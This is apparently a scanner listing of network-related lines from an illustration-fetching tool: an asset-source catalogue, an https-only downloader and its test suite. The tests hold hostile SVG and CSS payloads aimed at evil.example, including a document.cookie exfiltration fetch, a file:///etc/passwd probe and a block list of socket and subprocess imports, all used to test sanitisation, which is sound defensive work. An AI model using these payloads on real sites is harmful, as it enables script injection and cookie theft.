    "licence": "CC BY 4.0",       "licence_url": "https://docs.spline.design",       "attribution": "required",
  • Network accessline 1567
    "licence_url": "https://docs.spline.design",
  • Network accessline 1574
    "GLTF"       ],       "search_url": "https://community.spline.design/search?query={q}",
  • Network accessline 1575
    ],       "search_url": "https://community.spline.design/search?query={q}",       "search_tips": [
  • Network accessline 1576
    "search_url": "https://community.spline.design/search?query={q}",
  • Network accessline 1592
    "id": "lottiefiles",       "name": "LottieFiles free animations",       "url": "https://lottiefiles.com/free-animations",
  • Network accessline 1593
    "name": "LottieFiles free animations",       "url": "https://lottiefiles.com/free-animations",       "access": "manual",
  • Network accessline 1594
    "url": "https://lottiefiles.com/free-animations",
  • Network accessline 1600
    "style": "community Lottie animations of every style",       "licence": "Lottie Simple License",       "licence_url": "https://lottiefiles.com/page/license",
  • Network accessline 1601
    "licence": "Lottie Simple License",       "licence_url": "https://lottiefiles.com/page/license",       "attribution": "optional",
  • Network accessline 1602
    "licence_url": "https://lottiefiles.com/page/license",
  • Network accessline 1610
    "GIF"       ],       "search_url": "https://lottiefiles.com/free-animations/{q}",
  • Network accessline 1611
    ],       "search_url": "https://lottiefiles.com/free-animations/{q}",       "search_tips": [
  • Network accessline 1612
    "search_url": "https://lottiefiles.com/free-animations/{q}",
  • Network accessline 1626
    ],       "author": "",       "evidence": "https://lottiefiles.com/page/license (read 2026-09-28)"
  • Network accessline 1627
    "author": "",       "evidence": "https://lottiefiles.com/page/license (read 2026-09-28)"     },
  • Network accessline 1628
    "evidence": "https://lottiefiles.com/page/license (read 2026-09-28)"
  • Network accessline 1631
    "id": "useanimations",       "name": "useAnimations",       "url": "https://useanimations.com",
  • Network accessline 1632
    "name": "useAnimations",       "url": "https://useanimations.com",       "access": "manual",
  • Network accessline 1633
    "url": "https://useanimations.com",
  • Network accessline 1639
    "style": "Feather-style animated line icons on a 32 px grid",       "licence": "CC BY (with a link)",       "licence_url": "https://useanimations.com/licencing-and-terms.html",
  • Network accessline 1640
    "licence": "CC BY (with a link)",       "licence_url": "https://useanimations.com/licencing-and-terms.html",       "attribution": "required",
  • Network accessline 1641
    "licence_url": "https://useanimations.com/licencing-and-terms.html",
  • Network accessline 1647
    "SVG"       ],       "search_url": "https://useanimations.com",
  • Network accessline 1648
    ],       "search_url": "https://useanimations.com",       "search_tips": [
  • Network accessline 1649
    "search_url": "https://useanimations.com",
  • Network accessline 1666
    "id": "rive",       "name": "Rive marketplace",       "url": "https://rive.app/marketplace/",
  • Network accessline 1667
    "name": "Rive marketplace",       "url": "https://rive.app/marketplace/",       "access": "manual",
  • Network accessline 1668
    "url": "https://rive.app/marketplace/",
  • Network accessline 1674
    "style": "interactive animations and state machines",       "licence": "CC BY",       "licence_url": "https://rive.app/docs",
  • Network accessline 1675
    "licence": "CC BY",       "licence_url": "https://rive.app/docs",       "attribution": "required",
  • Network accessline 1676
    "licence_url": "https://rive.app/docs",
  • Network accessline 1681
    "Rive .riv"       ],       "search_url": "https://rive.app/marketplace/",
  • Network accessline 1682
    ],       "search_url": "https://rive.app/marketplace/",       "search_tips": [
  • Network accessline 1683
    "search_url": "https://rive.app/marketplace/",
  • Network accessline 1700
    "id": "haikei",       "name": "Haikei (generator)",       "url": "https://haikei.app",
  • Network accessline 1701
    "name": "Haikei (generator)",       "url": "https://haikei.app",       "access": "manual",
  • Network accessline 1702
    "url": "https://haikei.app",
  • Network accessline 1708
    "style": "waves, blobs, layered shapes and gradients you generate",       "licence": "Haikei terms (output is yours, free commercial use)",       "licence_url": "https://haikei.app/pricing/",
  • Network accessline 1709
    "licence": "Haikei terms (output is yours, free commercial use)",       "licence_url": "https://haikei.app/pricing/",       "attribution": "none",
  • Network accessline 1710
    "licence_url": "https://haikei.app/pricing/",
  • Network accessline 1716
    "PNG"       ],       "search_url": "https://app.haikei.app",
  • Network accessline 1717
    ],       "search_url": "https://app.haikei.app",       "customize": "Set the token hexes before export",
  • Network accessline 1718
    "search_url": "https://app.haikei.app",
  • Network accessline 1723
    ],       "navigate": [         "Give the person https://app.haikei.app",
  • Network accessline 1724
    "navigate": [         "Give the person https://app.haikei.app",         "They pick a generator, set colours, export SVG",
  • Network accessline 1725
    "Give the person https://app.haikei.app",
  • Network accessline 1731
    ],       "author": "z creative labs",       "evidence": "https://haikei.app/pricing/ (read 2026-09-28)"
  • Network accessline 1732
    "author": "z creative labs",       "evidence": "https://haikei.app/pricing/ (read 2026-09-28)"     },
  • Network accessline 1733
    "evidence": "https://haikei.app/pricing/ (read 2026-09-28)"
  • Network accessline 1736
    "id": "heropatterns",       "name": "Hero Patterns",       "url": "https://heropatterns.com",
  • Network accessline 1737
    "name": "Hero Patterns",       "url": "https://heropatterns.com",       "access": "manual",
  • Network accessline 1738
    "url": "https://heropatterns.com",
  • Network accessline 1744
    "style": "repeatable SVG background patterns by Steve Schoger",       "licence": "CC BY 4.0",       "licence_url": "https://heropatterns.com",
  • Network accessline 1745
    "licence": "CC BY 4.0",       "licence_url": "https://heropatterns.com",       "attribution": "required",
  • Network accessline 1746
    "licence_url": "https://heropatterns.com",
  • Network accessline 1752
    "CSS"       ],       "search_url": "https://heropatterns.com",
  • Network accessline 1753
    ],       "search_url": "https://heropatterns.com",       "customize": "Foreground, background, opacity",
  • Network accessline 1754
    "search_url": "https://heropatterns.com",
  • Network accessline 1772
    "id": "fffuel",       "name": "fffuel (generators)",       "url": "https://fffuel.co",
  • Network accessline 1773
    "name": "fffuel (generators)",       "url": "https://fffuel.co",       "access": "manual",
  • Network accessline 1774
    "url": "https://fffuel.co",
  • Network accessline 1780
    "style": "about 70 SVG generators: blobs, gradients, noise, patterns",       "licence": "fffuel licence",       "licence_url": "https://fffuel.co/license/",
  • Network accessline 1781
    "licence": "fffuel licence",       "licence_url": "https://fffuel.co/license/",       "attribution": "none",
  • Network accessline 1782
    "licence_url": "https://fffuel.co/license/",
  • Network accessline 1788
    "PNG"       ],       "search_url": "https://fffuel.co",
  • Network accessline 1789
    ],       "search_url": "https://fffuel.co",       "customize": "Colours set in each tool",
  • Network accessline 1790
    "search_url": "https://fffuel.co",
  • Network accessline 1802
    ],       "author": "Sébastien Noël",       "evidence": "https://fffuel.co/license/ (read 2026-09-28)"
  • Network accessline 1803
    "author": "Sébastien Noël",       "evidence": "https://fffuel.co/license/ (read 2026-09-28)"     },
  • Network accessline 1804
    "evidence": "https://fffuel.co/license/ (read 2026-09-28)"

skills/opendesigner-illustrate/scripts/illustrate.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 31
    decision 2026-09-28; the one exception to "skills stay offline"). Responses are saved under opendesigner/illustrations/responses/ and downloads/ first, then parsed. With --offline, or when the network fails, they print the requests as curl 
  • Network accessline 32
    opendesigner/illustrations/responses/ and downloads/ first, then parsed. With --offline, or when the network fails, they print the requests as curl lines; the agent fetches them with its own tools and runs the same command again. """
  • Network accessline 33
    they print the requests as curl lines; the agent fetches them with its own tools and runs the same command again.
  • Network accessline 42
    SOURCES = REF / "sources.json" PURPOSES = REF / "purposes.json" UA = "OpenDesigner-illustrate/0.1 (+https://github.com/ckryptickunal/OpenDesigner)"
  • Network accessline 43
    PURPOSES = REF / "purposes.json" UA = "OpenDesigner-illustrate/0.1 (+https://github.com/ckryptickunal/OpenDesigner)" SVG_NS = "http://www.w3.org/2000/svg"
  • Network accessline 44
    UA = "OpenDesigner-illustrate/0.1 (+https://github.com/ckryptickunal/OpenDesigner)"
  • Network accessline 45
    SVG_NS = "http://www.w3.org/2000/svg"
  • Network accessline 46
    XLINK = "http://www.w3.org/1999/xlink"
  • Network accessline 216
    "font-style", "text-anchor", "letter-spacing", "dominant-baseline", "mix-blend-mode", "isolation", "shape-rendering",     "role", "aria-hidden", "aria-label", "aria-labelledby", "aria-describedby", "focusable",     "{http://www.w3.org/XML/1
  • Network accessline 217
    "role", "aria-hidden", "aria-label", "aria-labelledby", "aria-describedby", "focusable",     "{http://www.w3.org/XML/1998/namespace}space"} ELEMENT_ATTRS = {"feColorMatrix": {"type", "values"}}
  • Network accessline 218
    "{http://www.w3.org/XML/1998/namespace}space"}
  • Network accessline 219
    ELEMENT_ATTRS = {"feColorMatrix": {"type", "values"}} HREF_KEYS = ("href", "{http://www.w3.org/1999/xlink}href") CSS_ESCAPE = re.compile(r"\\([0-9a-fA-F]{1,6})\s?|\\(.)", re.S)
  • Network accessline 220
    HREF_KEYS = ("href", "{http://www.w3.org/1999/xlink}href")
  • Network accessline 636
    # requests themselves (owner decision 2026-09-28: this skill may use the network, the one exception to SPEC # principle 9), saving each response under responses/ or downloads/ first. With --offline, or when the network # fails, they print t
  • Network accessline 638
    # fails, they print the same requests as curl lines for the agent to fetch with its own tools.
  • Network accessline 682
    out.append({"id": f"iconify:{name}", "source": "iconify", "title": icon.replace("-", " "), "tags": [col.get("name", prefix)],                     "author": (col.get("author") or {}).get("name", ""), "author_url": (col.get("author") or {}).g
  • Network accessline 683
    "author": (col.get("author") or {}).get("name", ""), "author_url": (col.get("author") or {}).get("url", ""),                     "page": f"https://icon-sets.iconify.design/{prefix}/?icon-filter={icon}",                     "download": f"{sr
  • Network accessline 684
    "page": f"https://icon-sets.iconify.design/{prefix}/?icon-filter={icon}",                     "download": f"{src['api']['endpoint']}/{prefix}/{icon}.svg", "preview": f"{src['api']['endpoint']}/{prefix}/{icon}.svg",                     "form
  • Network accessline 749
    out.append({"id": f"cocomaterial:{it['id']}{'-color' if colored else ''}", "source": "cocomaterial",                         "title": it.get("name", "") + (" (colour)" if colored else ""), "tags": (it.get("tags") or "").split(","),         
  • Network accessline 750
    "title": it.get("name", "") + (" (colour)" if colored else ""), "tags": (it.get("tags") or "").split(","),                         "author": src.get("author", ""), "page": f"https://cocomaterial.com/results?q={urllib.parse.quote(tags)}",   
  • Network accessline 751
    "author": src.get("author", ""), "page": f"https://cocomaterial.com/results?q={urllib.parse.quote(tags)}",
  • Network accessline 763
    if not url.lower().startswith("https://"):         raise ValueError(f"only https:// URLs are fetched, not {url[:40]!r}")     return f'curl -sL --max-filesize {MAX_BYTES} -A "{UA}" "{url}" -o "{dest}"'
  • Network accessline 765
    return f'curl -sL --max-filesize {MAX_BYTES} -A "{UA}" "{url}" -o "{dest}"'
  • Network accessline 770
    fetch_line(url, dest)  # refuses anything but https://     req = urllib.request.Request(url, headers={"User-Agent": UA})
  • Network accessline 771
    req = urllib.request.Request(url, headers={"User-Agent": UA})
  • Network accessline 772
    with urllib.request.urlopen(req, timeout=timeout) as r:
  • Network accessline 783
    """Fetch (url, dest) pairs directly; return the curl lines for the ones left to the agent."""
  • Network accessline 1599
    p = sub.add_parser("search"); p.add_argument("purpose"); p.add_argument("--slot"); p.add_argument("--query")     p.add_argument("--source"); p.add_argument("--limit", type=int, default=20); p.add_argument("--keep", action="store_true")     
  • Network accessline 1600
    p.add_argument("--source"); p.add_argument("--limit", type=int, default=20); p.add_argument("--keep", action="store_true")     p.add_argument("--offline", action="store_true", help="print the requests as curl lines instead of fetching them"
  • Network accessline 1601
    p.add_argument("--offline", action="store_true", help="print the requests as curl lines instead of fetching them")
  • Network accessline 1607
    p.set_defaults(fn=cmd_style)     p = sub.add_parser("fetch"); p.add_argument("ids", nargs="+"); p.add_argument("--name"); p.add_argument("--force", action="store_true")     p.add_argument("--offline", action="store_true", help="print the do
  • Network accessline 1608
    p = sub.add_parser("fetch"); p.add_argument("ids", nargs="+"); p.add_argument("--name"); p.add_argument("--force", action="store_true")     p.add_argument("--offline", action="store_true", help="print the download as a curl line instead of 
  • Network accessline 1609
    p.add_argument("--offline", action="store_true", help="print the download as a curl line instead of fetching it")

skills/opendesigner-illustrate/scripts/test_illustrate.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 20
    SCENE = """<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 100">
  • Network accessline 32
    EVIL = """<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="40" height="20" onload="alert(1)">
  • Network accessline 33
    <script>alert(1)</script><foreignObject><div>x</div></foreignObject> <style>@import url(https://evil.example/x.css); .a{fill:url(https://evil.example/p.svg#x)}</style> <image xlink:href="https://evil.example/track.png"/><a href="javascript:
  • Network accessline 34
    <style>@import url(https://evil.example/x.css); .a{fill:url(https://evil.example/p.svg#x)}</style>
  • Network accessline 35
    <image xlink:href="https://evil.example/track.png"/><a href="javascript:alert(1)"><rect width="5" height="5" fill="red"/></a>
  • Network accessline 80
    def test_refuses_entities_and_non_svg(self):         with self.assertRaises(ValueError):             il.sanitize('<!DOCTYPE svg [<!ENTITY a "aaaa">]><svg xmlns="http://www.w3.org/2000/svg">&a;</svg>'.replace("]>", "]><!ENTITY b 'x'>"))
  • Network accessline 81
    with self.assertRaises(ValueError):             il.sanitize('<!DOCTYPE svg [<!ENTITY a "aaaa">]><svg xmlns="http://www.w3.org/2000/svg">&a;</svg>'.replace("]>", "]><!ENTITY b 'x'>"))         with self.assertRaises(ValueError):
  • Network accessline 82
    il.sanitize('<!DOCTYPE svg [<!ENTITY a "aaaa">]><svg xmlns="http://www.w3.org/2000/svg">&a;</svg>'.replace("]>", "]><!ENTITY b 'x'>"))
  • Network accessline 89
    PAYLOADS = {         "uppercase script": '<SCRIPT>alert(1)</SCRIPT>',         "lowercase foreignobject": '<foreignobject><iframe xmlns="http://www.w3.org/1999/xhtml" src="https://evil.example/"/></foreignobject>',
  • Network accessline 90
    "uppercase script": '<SCRIPT>alert(1)</SCRIPT>',         "lowercase foreignobject": '<foreignobject><iframe xmlns="http://www.w3.org/1999/xhtml" src="https://evil.example/"/></foreignobject>',         "uppercase href": '<image HREF="https:/
  • Network accessline 91
    "lowercase foreignobject": '<foreignobject><iframe xmlns="http://www.w3.org/1999/xhtml" src="https://evil.example/"/></foreignobject>',
  • Network accessline 92
    "uppercase href": '<image HREF="https://evil.example/i.png"/>',
  • Network accessline 93
    "html img": '<img xmlns="http://www.w3.org/1999/xhtml" src="https://evil.example/i.png"/>',
  • Network accessline 94
    "meta refresh": '<meta xmlns="http://www.w3.org/1999/xhtml" http-equiv="refresh" content="0;url=https://evil.example/"/>',
  • Network accessline 95
    "animate href": '<a><animate attributeName="href" values="java&#9;script:alert(1)"/><text>click</text></a>',         "set href": '<image><set attributeName="href" to="https://evil.example/p.png"/></image>',         "css import caps": '<styl
  • Network accessline 96
    "set href": '<image><set attributeName="href" to="https://evil.example/p.png"/></image>',
  • Network accessline 97
    "css import caps": '<style>@IMPORT "https://evil.example/x.css";</style>',
  • Network accessline 98
    "css URL caps": '<style>.a{fill:URL(https://evil.example/p.svg#x)}</style>',
  • Network accessline 99
    "css https caps": '<style>.a{fill:url(HTTPS://evil.example/p.svg#x)}</style>',
  • Network accessline 100
    "css import no semicolon": '<style>@import "https://evil.example/x.css"</style>',
  • Network accessline 101
    "css escaped import": '<style>@\\69mport "https://evil.example/x.css";</style>',
  • Network accessline 102
    "css escaped url": '<style>.a{background:\\75 rl(https://evil.example/p.png)}</style>',
  • Network accessline 103
    "css protocol-relative": '<style>.a{fill:url(/\\/evil.example/p.svg)}</style>',         "css image-set": '<style>.a{background:image-set("https://evil.example/p.png" 1x)}</style>',         "css after child": '<style><x/>.a{fill:url(https://
  • Network accessline 104
    "css image-set": '<style>.a{background:image-set("https://evil.example/p.png" 1x)}</style>',
  • Network accessline 105
    "css after child": '<style><x/>.a{fill:url(https://evil.example/p.svg)}</style>',
  • Network accessline 106
    "style attr url": '<rect style="fill:url(https://evil.example/p.svg#x)"/>',
  • Network accessline 107
    "data html href": '<use href="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"/>',         "namespaced script": '<x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>',     }
  • Network accessline 108
    "namespaced script": '<x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>',
  • Network accessline 112
    for name, body in self.PAYLOADS.items():             with self.subTest(name):                 svg = f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">{body}<rect width="1" height="1" fill="#ff0000"/></svg>'
  • Network accessline 113
    with self.subTest(name):                 svg = f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">{body}<rect width="1" height="1" fill="#ff0000"/></svg>'                 out = il.serialize(il.sanitize(svg)[0]).lower()
  • Network accessline 114
    svg = f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">{body}<rect width="1" height="1" fill="#ff0000"/></svg>'
  • Network accessline 120
    with tempfile.TemporaryDirectory() as tmp:             f = Path(tmp) / "x.svg"             f.write_text('<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><desc>{fetch("https://evil.example/?c="+document.cookie)}</desc><rect width
  • Network accessline 121
    f = Path(tmp) / "x.svg"             f.write_text('<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><desc>{fetch("https://evil.example/?c="+document.cookie)}</desc><rect width="5" height="5" fill="#6c63ff"/></svg>')             ru
  • Network accessline 122
    f.write_text('<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><desc>{fetch("https://evil.example/?c="+document.cookie)}</desc><rect width="5" height="5" fill="#6c63ff"/></svg>')
  • Network accessline 125
    run(["--dir", tmp, "apply", "x", "--to", str(Path(tmp) / "out"), "--as", "react"])             tsx = (Path(tmp) / "out" / "XIllustration.tsx").read_text()             self.assertIn("{'{'}fetch(", tsx)
  • Network accessline 126
    tsx = (Path(tmp) / "out" / "XIllustration.tsx").read_text()             self.assertIn("{'{'}fetch(", tsx)             self.assertNotIn("<desc>{fetch", tsx)
  • Network accessline 127
    self.assertIn("{'{'}fetch(", tsx)
  • Network accessline 131
    with self.assertRaises(ValueError):             il.fetch_line("file:///etc/passwd", "x.svg")         self.assertIn('"https://a.example/x.svg"', il.fetch_line("https://a.example/x.svg", "x.svg"))
  • Network accessline 133
    self.assertIn('"https://a.example/x.svg"', il.fetch_line("https://a.example/x.svg", "x.svg"))
  • Network accessline 138
    self.assertEqual(src.count("urlopen("), 1)         self.assertIn("def http_get(", src.split("urlopen(")[0].rsplit("\ndef ", 1)[-1].join(["\ndef ", ""]))         for bad in ("import socket", "http.client", "import requests", "import httpx", 
  • Network accessline 139
    self.assertIn("def http_get(", src.split("urlopen(")[0].rsplit("\ndef ", 1)[-1].join(["\ndef ", ""]))         for bad in ("import socket", "http.client", "import requests", "import httpx", "subprocess", "os.system"):             self.assert
  • Network accessline 140
    for bad in ("import socket", "http.client", "import requests", "import httpx", "subprocess", "os.system"):
  • Network accessline 141
    self.assertNotIn(bad, src)         with tempfile.TemporaryDirectory() as tmp:             for url in ("http://a.example/x.svg", "file:///etc/passwd", "ftp://a.example/x"):
  • Network accessline 142
    with tempfile.TemporaryDirectory() as tmp:             for url in ("http://a.example/x.svg", "file:///etc/passwd", "ftp://a.example/x"):                 with self.assertRaises(ValueError):
  • Network accessline 143
    for url in ("http://a.example/x.svg", "file:///etc/passwd", "ftp://a.example/x"):
  • Network accessline 154
    with tempfile.TemporaryDirectory() as tmp:             dest = Path(tmp) / "x.svg"             with mock.patch.object(il.urllib.request, "urlopen", return_value=Resp("http://a.example/x.svg", b"<svg/>")):
  • Network accessline 155
    dest = Path(tmp) / "x.svg"             with mock.patch.object(il.urllib.request, "urlopen", return_value=Resp("http://a.example/x.svg", b"<svg/>")):                 with self.assertRaises(ValueError):
  • Network accessline 156
    with mock.patch.object(il.urllib.request, "urlopen", return_value=Resp("http://a.example/x.svg", b"<svg/>")):
  • Network accessline 157
    with self.assertRaises(ValueError):                     il.http_get("https://a.example/x.svg", dest)             with mock.patch.object(il.urllib.request, "urlopen", return_value=Resp("https://a.example/x.svg", b"x" * (il.MAX_BYTES + 5))):
  • Network accessline 158
    il.http_get("https://a.example/x.svg", dest)             with mock.patch.object(il.urllib.request, "urlopen", return_value=Resp("https://a.example/x.svg", b"x" * (il.MAX_BYTES + 5))):                 with self.assertRaises(ValueError):
  • Network accessline 159
    with mock.patch.object(il.urllib.request, "urlopen", return_value=Resp("https://a.example/x.svg", b"x" * (il.MAX_BYTES + 5))):
  • Network accessline 160
    with self.assertRaises(ValueError):                     il.http_get("https://a.example/x.svg", dest)             self.assertFalse(dest.exists())
  • Network accessline 161
    il.http_get("https://a.example/x.svg", dest)             self.assertFalse(dest.exists())             with mock.patch.object(il.urllib.request, "urlopen", return_value=Resp("https://a.example/x.svg", b"<svg/>")):
  • Network accessline 162
    self.assertFalse(dest.exists())             with mock.patch.object(il.urllib.request, "urlopen", return_value=Resp("https://a.example/x.svg", b"<svg/>")):                 il.http_get("https://a.example/x.svg", dest)
  • Network accessline 163
    with mock.patch.object(il.urllib.request, "urlopen", return_value=Resp("https://a.example/x.svg", b"<svg/>")):
  • Network accessline 164
    il.http_get("https://a.example/x.svg", dest)
  • Network accessline 240
    def test_gradient_ids_that_look_like_hex_are_kept(self):         svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><defs><linearGradient id="face"><stop stop-color="#6c63ff"/></linearGradient></defs><rect width="9" height="
  • Network accessline 241
    svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><defs><linearGradient id="face"><stop stop-color="#6c63ff"/></linearGradient></defs><rect width="9" height="9" fill="url(#face)"/><rect width="2" height="2" style="fill:url(
  • Network accessline 246
    def test_transparency_is_kept(self):         svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><ellipse rx="5" ry="1" fill="rgba(0,0,0,0.2)"/><rect width="2" height="2" fill="#00000080"/></svg>'
  • Network accessline 247
    svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><ellipse rx="5" ry="1" fill="rgba(0,0,0,0.2)"/><rect width="2" height="2" fill="#00000080"/></svg>'
  • Network accessline 256
    svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><style>.a{fill:#f9a826}</style><path class="a" d="M0 0h9v9z" fill="#000"/></svg>'
  • Network accessline 278
    self.assertEqual(self.v(licence="CC BY 4.0"), "attribution")         self.assertEqual(self.v(licence="CC BY-SA 3.0"), "attribution")         self.assertEqual(self.v(licence="CC BY-NC 4.0"), "blocked")
  • Network accessline 279
    self.assertEqual(self.v(licence="CC BY-SA 3.0"), "attribution")         self.assertEqual(self.v(licence="CC BY-NC 4.0"), "blocked")         self.assertEqual(self.v(licence="CC BY-ND 4.0"), "blocked")
  • Network accessline 280
    self.assertEqual(self.v(licence="CC BY-NC 4.0"), "blocked")
  • Network accessline 344
    out = run(["sources", "--kind", "people", "--no-credit", "--q", "team"])         self.assertIn("openpeeps", out)         self.assertIn("https://www.openpeeps.com", out)
  • Network accessline 345
    self.assertIn("openpeeps", out)         self.assertIn("https://www.openpeeps.com", out)         self.assertNotIn("storyset", out)             # credit required
  • Network accessline 346
    self.assertIn("https://www.openpeeps.com", out)
  • Network accessline 355
    OPENVERSE = {"result_count": 1, "results": [{"id": "abc", "title": "Rocket launch", "url": "https://upload.wikimedia.org/r.svg",
  • Network accessline 356
    "foreign_landing_url": "https://commons.wikimedia.org/wiki/File:R.svg", "creator": "Ann", "creator_url": "",
  • Network accessline 357
    "license": "by-sa", "license_version": "4.0", "license_url": "https://creativecommons.org/licenses/by-sa/4.0/",
  • Network accessline 358
    "provider": "wikimedia", "filetype": "svg", "tags": [{"name": "space"}], "attribution": "\"Rocket launch\" by Ann is licensed under CC BY-SA 4.0.",              "thumbnail": "https://api.openverse.org/v1/images/abc/thumb/"}]} COMMONS = {"qu
  • Network accessline 359
    "thumbnail": "https://api.openverse.org/v1/images/abc/thumb/"}]}
  • Network accessline 360
    COMMONS = {"query": {"pages": [{"pageid": 7, "title": "File:Empty_inbox.svg", "imageinfo": [{"url": "https://upload.wikimedia.org/e.svg",
  • Network accessline 361
    "descriptionurl": "https://commons.wikimedia.org/wiki/File:Empty_inbox.svg", "mime": "image/svg+xml",
  • Network accessline 374
    def req(self, **kw):         return {"url": "https://x/?tags=team", "words": [], **kw}
  • Network accessline 375
    return {"url": "https://x/?tags=team", "words": [], **kw}
  • Network accessline 387
    def test_iconify_shape(self):         items = il.parse_iconify(json.dumps(ICONIFY), self.req(), self.sources["iconify"], 10)         self.assertEqual(items[0]["download"], "https://api.iconify.design/fluent-emoji-flat/rocket.svg")
  • Network accessline 388
    items = il.parse_iconify(json.dumps(ICONIFY), self.req(), self.sources["iconify"], 10)         self.assertEqual(items[0]["download"], "https://api.iconify.design/fluent-emoji-flat/rocket.svg")         self.assertEqual(items[0]["licence_spdx
  • Network accessline 389
    self.assertEqual(items[0]["download"], "https://api.iconify.design/fluent-emoji-flat/rocket.svg")
  • Network accessline 393
    items = il.parse_listing(LISTING, self.req(words=["rocket", "space"]), self.sources["lukaszadam"], 10)         self.assertEqual([c["title"] for c in items], ["rocket launch"])         self.assertEqual(items[0]["download"], "https://lukaszad
  • Network accessline 395
    self.assertEqual(items[0]["download"], "https://lukaszadam.com/images/free-illustrations/rocket_launch.svg")
  • Network accessline 397
    def test_cocomaterial_shape(self):         body = json.dumps({"count": 1, "results": [{"id": "7", "name": "Team", "tags": "team,work", "svg": "https://cocomaterial.com/media/t.svg",
  • Network accessline 398
    body = json.dumps({"count": 1, "results": [{"id": "7", "name": "Team", "tags": "team,work", "svg": "https://cocomaterial.com/media/t.svg",
  • Network accessline 416
    def ov(i, title, lic):     return {"id": i, "title": title, "url": f"https://x/{i}.svg", "foreign_landing_url": f"https://x/{i}", "license": lic,
  • Network accessline 417
    return {"id": i, "title": title, "url": f"https://x/{i}.svg", "foreign_landing_url": f"https://x/{i}", "license": lic,
  • Network accessline 428
    out = run(["--dir", d, "search", "rocket launch", "--slot", "onboarding", "--offline"])             self.assertIn("with your own tools", out)             # --offline only prints what to fetch             self.assertIn('curl -sL', out)
  • Network accessline 429
    self.assertIn("with your own tools", out)             # --offline only prints what to fetch             self.assertIn('curl -sL', out)             self.assertIn("undraw.co/search/rocket", out)        # the manual source is offered, not fetc
  • Network accessline 430
    self.assertIn('curl -sL', out)
  • Network accessline 432
    self.assertFalse(Path(d, "candidates.json").exists())             commons = {"query": {"pages": [                 {"pageid": 2, "title": "File:Rocket launch placard diagram.svg", "imageinfo": [{"url": "https://x/2.svg", "descriptionurl": "h
  • Network accessline 433
    commons = {"query": {"pages": [                 {"pageid": 2, "title": "File:Rocket launch placard diagram.svg", "imageinfo": [{"url": "https://x/2.svg", "descriptionurl": "https://x/2",                  "mime": "image/svg+xml", "extmetadat
  • Network accessline 434
    {"pageid": 2, "title": "File:Rocket launch placard diagram.svg", "imageinfo": [{"url": "https://x/2.svg", "descriptionurl": "https://x/2",
  • Network accessline 435
    "mime": "image/svg+xml", "extmetadata": {"LicenseShortName": {"value": "CC0"}}}]},                 {"pageid": 4, "title": "File:Coffee.svg", "imageinfo": [{"url": "https://x/4.svg", "descriptionurl": "https://x/4",                  "mime": 
  • Network accessline 436
    {"pageid": 4, "title": "File:Coffee.svg", "imageinfo": [{"url": "https://x/4.svg", "descriptionurl": "https://x/4",                  "mime": "image/svg+xml", "extmetadata": {"LicenseShortName": {"value": "CC0"}}}]}]}}             fulfil_sea
  • Network accessline 446
    out = run(["--dir", d, "fetch", "openverse:1", "openverse:3", "--name", "launch", "--offline"])             self.assertIn("skip openverse:3: non-commercial", out)             self.assertIn('"https://x/1.svg"', out)              # step one: 
  • Network accessline 447
    self.assertIn("skip openverse:3: non-commercial", out)             self.assertIn('"https://x/1.svg"', out)              # step one: the download to make             Path(d, "downloads", "openverse-1.svg").write_text(SCENE)
  • Network accessline 448
    self.assertIn('"https://x/1.svg"', out)              # step one: the download to make
  • Network accessline 451
    self.assertIn("fetched launch", out)             run(["--dir", d, "fetch", "commons:4", "--offline"])             Path(d, "downloads", "commons-4.svg").write_text("<svg xmlns='http://www.w3.org/2000/svg'>&nbsp;</svg>")
  • Network accessline 452
    run(["--dir", d, "fetch", "commons:4", "--offline"])             Path(d, "downloads", "commons-4.svg").write_text("<svg xmlns='http://www.w3.org/2000/svg'>&nbsp;</svg>")             self.assertIn("not a usable SVG", run(["--dir", d, "fetch"
  • Network accessline 453
    Path(d, "downloads", "commons-4.svg").write_text("<svg xmlns='http://www.w3.org/2000/svg'>&nbsp;</svg>")             self.assertIn("not a usable SVG", run(["--dir", d, "fetch", "commons:4"]))             out = run(["--dir", d, "search", "co
  • Network accessline 489
    with tempfile.TemporaryDirectory() as tmp:             items = [{"id": f"openverse:{i}", "source": "openverse", "title": "Lost", "tags": [], "licence": "CC BY 4.0",                       "author": who, "format": "svg", "download": f"https:/
  • Network accessline 490
    items = [{"id": f"openverse:{i}", "source": "openverse", "title": "Lost", "tags": [], "licence": "CC BY 4.0",                       "author": who, "format": "svg", "download": f"https://x/{i}.svg", "page": f"https://x/{i}"} for i, who in ((
  • Network accessline 491
    "author": who, "format": "svg", "download": f"https://x/{i}.svg", "page": f"https://x/{i}"} for i, who in ((1, "Alice"), (2, "Bob"))]
  • Network accessline 507
    with self.assertRaises(SystemExit):                 run(["--dir", tmp, "add", str(f), "--source", "other"])             out = run(["--dir", tmp, "add", str(f), "--source", "undraw", "--url", "https://undraw.co/illustrations", "--title", "La
  • Network accessline 508
    run(["--dir", tmp, "add", str(f), "--source", "other"])             out = run(["--dir", tmp, "add", str(f), "--source", "undraw", "--url", "https://undraw.co/illustrations", "--title", "Launch day"])             self.assertIn("added launch-
  • Network accessline 509
    out = run(["--dir", tmp, "add", str(f), "--source", "undraw", "--url", "https://undraw.co/illustrations", "--title", "Launch day"])
  • Network accessline 516
